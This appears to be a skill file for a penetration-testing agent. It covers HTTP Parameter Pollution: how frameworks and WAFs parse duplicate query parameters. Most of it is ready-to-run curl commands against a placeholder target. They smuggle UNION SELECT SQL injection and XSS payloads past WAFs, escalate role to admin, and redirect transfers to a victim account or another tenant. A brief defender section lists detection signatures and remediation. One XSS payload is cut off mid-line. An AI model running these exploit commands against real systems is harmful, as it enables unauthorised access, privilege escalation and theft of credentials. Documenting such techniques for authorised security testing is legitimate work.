HTTP Parameter Pollution (HPP)
Two layers (proxy/WAF, framework, app code) parse the same duplicate parameter differently. The WAF inspects one value, the app reads another — payload slips through. Or the framework picks one value for the auth check and a different one for the action — ACL bypass. Standalone severity is usually Low/Medium; chained into SQLi / SSRF / auth bypass it is High/Critical.
1. Parser precedence table
When ?id=1&id=2 (or duplicated body params) is received:
| Stack | request.GET['id'] / equivalent |
getParameterValues / list view |
|---|---|---|
PHP ($_GET) |
last wins (2) |
$_GET['id[]'] only; otherwise the dup is dropped |
ASP.NET (Request.QueryString["id"]) |
comma-concatenated ("1,2") |
GetValues returns both |
| ASP Classic | comma-concatenated | — |
Java Servlet (getParameter) |
first (1) |
getParameterValues returns both |
Java Spring @RequestParam String |
first | List<String> binds both |
Node.js qs (Express default) |
array (["1","2"]) |
n/a |
Node.js querystring (legacy) |
array | n/a |
Python Flask request.args.get |
first | getlist returns both |
Python Django request.GET['id'] |
last | getlist returns both |
Python urllib.parse.parse_qs |
list (["1","2"]) |
— |
| Ruby on Rails | last | params[:id] is the last; arrays via id[]= |
Go net/http r.URL.Query().Get |
first | ["id"] returns all |
Perl CGI param("id") |
first in scalar, list in list context | — |
nginx $arg_id |
first | — |
Apache mod_rewrite %{QUERY_STRING} |
raw — passes both | — |
| AWS API Gateway → Lambda proxy | last in queryStringParameters, all in multiValueQueryStringParameters |
— |
| Cloudflare WAF | inspects all values for rule match (generally) | — |
| AWS WAF | inspects each occurrence | — |
| ModSecurity (CRS) | inspects each — but anomaly score per rule | — |
The exploitable pattern: WAF/proxy reads value A, app reads value B.
2. Detection
# Baseline
curl -s "http://<TARGET>/api?id=1" -o /dev/null -w 'HTTP %{http_code} %{size_download}B\n'
# Duplicate param — same key
curl -s "http://<TARGET>/api?id=1&id=2" -o resp.dup -w 'HTTP %{http_code} %{size_download}B\n'
cat resp.dup | head -c 300
# Bracket form (PHP arrays)
curl -s "http://<TARGET>/api?id[]=1&id[]=2" -o resp.arr -w 'HTTP %{http_code} %{size_download}B\n'
# Whitespace / separator variants
curl -s "http://<TARGET>/api?id=1;id=2" # semicolon separator (PHP/Java differ)
curl -s "http://<TARGET>/api?id=1&id =2" # space-before-=
curl -s --data-urlencode 'id=1' --data-urlencode 'id=2' "http://<TARGET>/api" # body dup
Reflection check — does the response echo 1, 2, 1,2, or ["1","2"]? That literally fingerprints the stack.
for pair in 'id=1&id=2' 'id=2&id=1' 'id=1;id=2' 'id[]=1&id[]=2'; do
echo "== $pair =="
curl -s "http://<TARGET>/echo?$pair"
echo
done
3. WAF bypass via duplicate parameters
The WAF inspects one occurrence; the app concatenates / picks the other.
# ASP.NET: WAF sees "1" on first occurrence, app gets "1,UNION SELECT ..." after concat
curl -G "http://<TARGET>/search" \
--data-urlencode "q=1" \
--data-urlencode "q=UNION SELECT user,password FROM users--"
# PHP last-wins: WAF blocks the obvious payload only if it inspects every value
curl -G "http://<TARGET>/search" \
--data-urlencode "q=harmless" \
--data-urlencode "q=<svg/onload=alert(1)>"
# Java first-wins, WAF inspects only the LAST occurrence (some appliances do)
curl -G "http://<TARGET>/cmd" \
--data-urlencode "host=' OR 1=1--" \
--data-urlencode "host=8.8.8.8"
Mixed source confusion — GET vs POST:
# Some frameworks merge GET+POST into one params dict; precedence differs from WAF inspection
curl -X POST "http://<TARGET>/api?role=user" \
-H 'Content-Type: application/x-www-form-urlencoded' \
--data 'role=admin'
4. Server-side HPP — auth / ACL bypass
The auth layer evaluates one value; the controller acts on another.
# Pattern: filter reads first, action reads last
curl "http://<TARGET>/transfer?account=mine&account=victim&amount=100"
# Filter: account==mine → permits. Controller: last wins → operates on victim.
# Role check vs role assignment
curl -X POST "http://<TARGET>/users/create" \
-d 'role=user&username=x&role=admin'
# Tenant scoping
curl "http://<TARGET>/api/orders?tenant_id=$MINE&tenant_id=$OTHER"
5. Client-side HPP
User-supplied parameter is re-emitted into a link or redirect without re-encoding &.
Vulnerable template: <a href="/proxy?url=USER_INPUT&action=read">
Payload: USER_INPUT = http://x.tld?evil=1
Rendered link: /proxy?url=http://x.tld?evil=1&action=read
Server sees: url=http://x.tld?evil=1 AND action=read (still benign)
Now payload: USER_INPUT = http://x.tld?evil=1&action=delete
Rendered link: /proxy?url=http://x.tld?evil=1&action=delete&action=read
Server (first-wins): action=delete ← attacker controls flow despite "&action=read" being hard-coded
# Probe — pass a payload containing & and look for it un-encoded in the response HTML
curl -s "http://<TARGET>/page?ref=foo%26admin=1" | grep -oE 'href="[^"]*ref=[^"]*"' | head
6. Injection delivery
# Split SQLi payload across two values to bypass per-value length / pattern checks
curl -G "http://<TARGET>/search" \
--data-urlencode "q=' UNION SELECT 1,2,3--" \
--data-urlencode "q=' UNION SELECT username,password,3 FROM users--"
# .NET concatenation → final value contains both fragments joined by ","
# Carry an XSS payload past a regex that only checks one occurrence
curl -G "http://<TARGET>/view" \
--data-urlencode "name=harmless" \
--data-urlencode "name=<img src=x
7. Tools
- Burp Param Miner — finds hidden / undocumented params, reflects, dup-detection.
- HTTPParameterPollution Burp extension — generates dup-permutations.
- wfuzz / ffuf — fuzz with
-z list,1-2-1,1to inject duplicate keys. - sqlmap
--param-del=';'-p 'q'--skip-urlencode— for separator-style HPP. - Hand-rolled Python:
requests.PreparedRequestlets you pass a list of tuples to keep order:[("id","1"),("id","2")].
8. Detection signatures (defenders)
| Signal | Source |
|---|---|
Two id= (or any key) per request line |
access logs, request audit |
| WAF rule fired on one occurrence, request still 200 | WAF + app log correlation |
?key[]= or ;key= patterns |
nginx / Apache logs |
ASP.NET request that concatenates user input into "1,2" and forwards to a backend |
app trace |
Differential outcome on ?a=1&a=2 vs ?a=2&a=1 |
active monitoring probe |
Remediation: canonicalize duplicates before auth/inspection; reject duplicates by policy on sensitive endpoints; never re-emit user input into URLs without re-encoding & and =.
9. Decision gate
| Observation | Action |
|---|---|
| Stack identified, dup-param accepted, app reads value B while WAF inspects A | Confirm with a known-blocked payload split across A,B → escalate to SQLi/XSS chain |
| Auth-relevant param accepted in duplicate AND backend action uses a different occurrence | Pursue ACL/IDOR-via-HPP chain → high severity |
| Dup accepted but both occurrences inspected and treated identically | Low impact, move on or fold into bypass research |
| Client-side HPP only (no auth/ACL impact) | Document, often Low; chain with open redirect / CSRF |
Cross-references
- WAF bypass payload obfuscation:
skills/standard/exploit/web/waf-bypass/SKILL.md - SQLi chain:
skills/standard/exploit/web/sqli/SKILL.md - BFLA / IDOR via param shadowing:
skills/standard/exploit/web/bfla/SKILL.md - HTTP smuggling (related parser-discrepancy class):
skills/standard/exploit/web/smuggling/SKILL.md